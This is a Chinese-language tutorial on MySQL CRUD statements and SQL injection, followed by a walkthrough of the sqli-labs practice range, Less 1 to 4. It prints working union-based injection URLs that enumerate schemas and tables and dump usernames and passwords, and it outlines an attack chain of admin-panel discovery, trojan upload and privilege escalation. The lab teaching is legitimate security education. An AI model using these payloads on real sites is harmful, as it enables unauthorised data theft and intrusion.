Mysql增删改查语句,靶场搭建,SQL注入
一、Mysql增删改查语句
1.增(insert)
基本语法 insert into 表名(列1,列2,列3,列4,…) values(值,值,值,值…)
例如:
insert into student(num,name,age,sex) values(14100,'张三',18,'男')
插入的另外一种形式:
insert into 表名 set 列=值,列=值,列=值,…
例如:
insert into student Set name = '张三',age=18
2.删(delete)
基本语法 delete from 表名 where 列=值
例如:
删除student中num编号为14100的数据
delete from student where num=14100;
#DELETE from 表名 一行行删除整张表
#TRUNCATE table 表名 就是清空表
3.改(update)
基本语法 update 表名 set 列名=新值,列=值,… where…
例如:
update student set name = '张三' where num=14100
4.查(select)
1.基本的select查询语句
查询student表中所有列 `select * from student;`
将*换成列名表示查询表中某一列
查询student表中所有的name和sex:`select name,sex from student;`
2.条件查询where
基本条件查询语句 select * from student where id =1(表示查询student表中id=1的学生的所有列)
where后跟查询条件,查询的如果是字符串,要带引号
3.多条件查询
如果是并且条件用and 或者用or多条件查询
例子:查询出班级号为20201001班的学生并且要求是男生,年龄大于20
SELECT * from student where class_num = '20201001' and sex = '男' and age > 20
查询出班级号为20201001班的学生或者性别为女的学生
SELECT * from student WHERE class_num = '20201001' or sex = '女'
4.联合查询:
使用联合查询的前提是 union 后面的 select 语句必须和前面
查询的列的数量、顺序、类型相同,否则数据库会报错
二、SQL注入
1.SQL注入简介
SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可在web应用程序中事先定义好的查询语句的结尾上
添加额外的SQL语句
,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
2.SQL注入原理
SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。就是在
post/getweb
表单、输入域名或页面请求的查询字符串中插入SQL命令,使web服务器执行恶意命令的过程。可以在URL中插入恶意的SQL语句并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。
3.SQL注入过程
-
第一步
SQL注入点探测
:通过适当的分析应用程序,判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,可能存在SQL注入漏洞。一般通过页面的报错信息来确定是否存在SQL注入漏洞。
-
第二步
收集后台数据库信息
:不同数据库的注入方法、函数都不尽相同,因此在注入之前,要判断数据库的类型。判断数据库类型的方法很多,可以输入特殊字符,如单引号
,让程序返回错误信息,我们根据错误信息提示进行判断
;还可以使用特定函数
来判断,比如输入“1 and version()>0”
,程序返回正常,说明version()函数
被数据库识别并执行,而version()
函数是MySQL
特有的函数,因此可以推断后台数据库为MySQL。 -
第三步
猜解用户名和密码
:数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码
。 -
第四步
查找Web后台管理入口
。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址
,可以利用Web目录扫描工具
(如:wwwscan
、AWVS
)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。 -
第五步
入侵和破坏
。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码
成功登录后台管理平台
后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息
等,还可以进一步提权,入侵Web服务器和数据库服务器
。
4.SQL注入方法
由于编写程序时未对用户输入数据的合理性进行判断,导致攻击者能在SQL Injection的注入点中夹杂代码进行执行,并通过页面返回的提示,获取进行下一步攻击所需的信息。根据输入的参数,可将SQL注入方式大致分为两类:数字型注入
、字符型注入
。
-
数字型注入
当输入的参数为整型时,如
ID、年龄、页码
等,如果存在注入漏洞,则可以认为是数字型注入。数字型注入最多出现在ASP、PHP等弱类型语言
中,弱类型语言会自动推导变量类型,例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8 and 1=1
,则会推导为string类型,这是弱类型语言的特性。而对于Java、C#这类强类型语言,如果试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。- 测试步骤:假设有URL:
http://www.xxx.com/test.php?id=3
,可以猜测SQL语句为:select * from table where id=3;
-
- 加单引号,URL:
http://www.xxx.com/test.php?id=3'
对应的SQL:select * from table where id=3'
这时SQL语句出错,程序无法正常从数据库中查询出数据,就会抛出异常。
- 加单引号,URL:
-
- 加
and 1=1
,URL:http://www.xxx.com/test.php?id=3 and 1=1
对应的SQL:select * from table where id=3 and 1=1
语句执行正常,返回数据与原始请求无任何差异。
- 加
-
-
加and
1=2
,URL:http://www.xxx.com/test.php?id=3 and 1=2
对应的SQL:select * from table where id=3 and 1=2
语句执行正常,但却无法查询出数据,因为and 1=2始终为假。所以返回数据与原始请求有差异。如果以上三个步骤全部满足,则程序就可能存在数字型SQL注入。
-
-
- 测试步骤:假设有URL:
-
字符型注入
> 当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合
。字符型注入最关键的是如何闭合SQL语句以及注释多余的代码。- 测试步骤:当查询内容为字符串时
select * from table where username ='admin'
-
- 加单引号
select * from table where username ='admin''
,由于加单引号后变成三个单引号,无法执行,程序会报错。
- 加单引号
-
- 加
and 1=1
(或者1=2
,结果是一样的,可以根据这里判断是数字型
还是字符型
) 此时SQL语句为:select * from table where username='admin and 1=1'
,也无法进行注入,因为admin and 1=1
会被数据库当作查询的字符串。这时想要进行注入,则必须注意字符串闭合问题。
- 加
-
- 加
'and 1=1--+
(and
前面的单引号闭合'admin'
,--
注释后面的单引号 )就可以继续注入,SQL语句:select * from table where username ='admin' and 1=1--+'
- 加
-
- 测试步骤:当查询内容为字符串时
5.SQL注入基础知识
- 系统函数
- version()——Mysql版本
- user()——数据库用户名
- database()——数据库名
- @@datadir——数据库路径
- @@basedir——获取安装路径
- @@version_compile_os——操作系统版本
- 字符连接函数
concat(str1,str2,…)
—— 没有分隔符地连接字符串
例:concat_ws('11','22','33') :112233
concat_ws(separator,str1,str2,…)
—— 含有分隔符地连接字符串,第一个参数是其它参数的分隔符。
例:concat_ws(':','11','22','33') :11:22:33
6.SQL注入攻击手法
三、靶场搭建及less1~5
1.SQL基本语句
-- #
-- -
-- +
注释掉后面没有用的语句只执行想要执行的sql语句
order by 4 -- -
判断有多少列
union select 1,2,3 -- -
判断数据显示点
union select 1,user(),database() -- -
显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -
查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -
查看账号密码信息
select schema_name from information_schema.schemata
猜数据库
select table_name from information_schema.tables where table_schema=’xxxxx’
猜某库的数据表
select column_name from information_schema.columns where table_schema='xxx' and table_name=’xxxxx’
猜某表的所有列
2.靶场搭建
3.less 1~5
less1 GET单引号字符注入
- SQL注入点探测
黄色字符提示输入参数,故输入?id=1
可以看到页面显示了登录名和登录秘码,先来确定是什么类型的注入,在ivi/Less-1?id=1
后面添加一个'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
您的SQL语法有错误;查看与MySQL服务器版本对应的手册,以了解第1行中接近“1”限制0,1的正确语法
报错了,说明我们添加的单引号被数据库成功解析,就可能存在注入。接下来输入?id=1 and 1=2
,发现页面没有变化,可以判断不是数字型注入。
接着输入’and 1=2 %23 后页面发生变化,确定为字符型注入,并且闭合符号为单引号。
2. 查字段数(order by
)
从1开始依次测试,当按第4列数据进行排序时报错了,故有三个字段。
http://ivi/Less-1/?id=1' order by 4 %23
开始联合查询:
使前面查询结果为空,及输入不存在的id值
http://ivi/Less-1/?id=-1' union select 1,2,3%23
PS:
http://ivi/Less-1/?id=1' union select 1,2,3%23
这条SQL语句在数据库中的执行情况:
程序在展示数据的时候通常只会取结果集的第一行,所以我们需要把前面的查询结果集变为空,这样才能显示我们想要的结果,同时又需要确定哪几个字段会被显示在页面上,这里令id=-1
也可以直接在后面添加and 1=2
两种方式都可以。
2、3字段被显示出来。
3. 爆数据库
http://viv/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
4.查看当前数据库
http://ivi/Less-1/?id=-1' union select 1,2,database()%23
5. 查看其它信息
http://ivi/Less-1/?id=-1' union select 1,2,concat_ws(' : ',user(),database(),version())--+
6.爆当前数据库的表
http://ivi/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
可以看到有四张表,我们想要的用户信息通常在 users表中。
7.爆users列名:
这里需要注意指定 table_schema 字段,因为 users 表非常容易出现重复!
http://ivi/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'--+
8.爆数据:
http://ivi/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+
如果只有一个显示位可以改为:
?id=-1' union select 1,2,group_concat(username,' : ',password) from security.users--+
9.也可以单独爆一个用户
http://ivi/Less-1/?id=-1'union select 1,username,password from security.users where id=3 --+
less 2 数字型注入
和上题思路一样,加单引号报错,加and 1=2 程序执行正常,但却无法查询出数据,那么就确定是数字型SQL注入了。
接下来和第一关一样
less 3 GET单引号变形注入
加单引号,页面报错
根据报错消息可以推断出闭合符号为(‘$id’),测试 1') --+
less 4 GET双引号注入
加单引号
加双引号
根据报错信息,推断出闭合符号应该是:(“$id”),测试:1") --+
less 5
四、CFTFHUB基础学习
CTF基础
http
本篇文章参考博客:
博客
https://blog.csdn.net/weixin_53818758/article/details/126047089
博客
https://blog.csdn.net/weixin_52084568/article/details/123644522
博客
https://blog.csdn.net/qq_43531669/article/details/91399603